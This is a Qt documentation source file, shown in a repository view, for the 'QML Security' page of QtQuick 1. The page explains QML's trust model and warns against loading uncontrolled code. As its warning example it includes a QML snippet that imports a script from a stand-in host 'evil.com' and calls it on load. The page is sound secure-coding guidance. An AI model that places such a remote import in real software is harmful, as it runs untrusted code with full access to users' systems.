Remove "All rights reserved" line from license headers.
[profile/ivi/qtdeclarative.git] / doc / src / qtquick1 / qdeclarativesecurity.qdoc
1 /****************************************************************************
2 **
3 ** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
4 ** Contact: http://www.qt-project.org/
5 **
6 ** This file is part of the documentation of the Qt Toolkit.
7 **
8 ** $QT_BEGIN_LICENSE:FDL$
9 ** GNU Free Documentation License
10 ** Alternatively, this file may be used under the terms of the GNU Free
11 ** Documentation License version 1.3 as published by the Free Software
12 ** Foundation and appearing in the file included in the packaging of
13 ** this file.
14 **
15 ** Other Usage
16 ** Alternatively, this file may be used in accordance with the terms
17 ** and conditions contained in a signed written agreement between you
18 ** and Nokia.
19 **
20 **
21 **
22 **
23 **
24 ** $QT_END_LICENSE$
25 **
26 ****************************************************************************/
27
28 /*!
29 \page qdeclarativesecurity.html
30 \inqmlmodule QtQuick 1
31 \title QML Security
32 \section1 QML Security
33
34 The QML security model is that QML content is a chain of trusted content: the user
35 installs QML content that they trust in the same way as they install native Qt applications,
36 or programs written with runtimes such as Python and Perl. That trust is establish by any
37 of a number of mechanisms, including the availability of package signing on some platforms.
38
39 In order to preserve the trust of users, developers producing QML content should not execute
40 arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements.
41
42 For example, this QML content:
43
44 \qml
45 import QtQuick 1.0
46 import "http://evil.com/evil.js" as Evil
47
48 Component {
49     onLoaded: Evil.doEvil()
50 }
51 \endqml
52
53 is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution
54 environment of QML does not try to stop any particular accesses, including local file system
55 access, just as for any native Qt application, so the "doEvil" function could do the same things
56 as a native Qt application, a Python application, a Perl script, etc.
57
58 As with any application accessing other content beyond it's control, a QML application should
59 perform appropriate checks on untrusted data it loads.
60
61 A non-exhaustive list of the ways you could shoot yourself in the foot is:
62
63 \list
64     \i Using \c import to import QML or JavaScript you do not control. BAD
65     \i Using \l Loader to import QML you do not control. BAD
66     \i Using \l{XMLHttpRequest}{XMLHttpRequest} to load data you do not control and executing it. BAD
67 \endlist
68
69 However, the above does not mean that you have no use for the network transparency of QML.
70 There are many good and useful things you \e can do:
71
72 \list
73     \i Create \l Image elements with source URLs of any online images. GOOD
74     \i Use XmlListModel to present online content. GOOD
75     \i Use \l{XMLHttpRequest}{XMLHttpRequest} to interact with online services. GOOD
76 \endlist
77
78 The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser},
79 has quite many restrictions. With QML, you should neither rely on similar restrictions, nor
80 worry about working around them.
81 */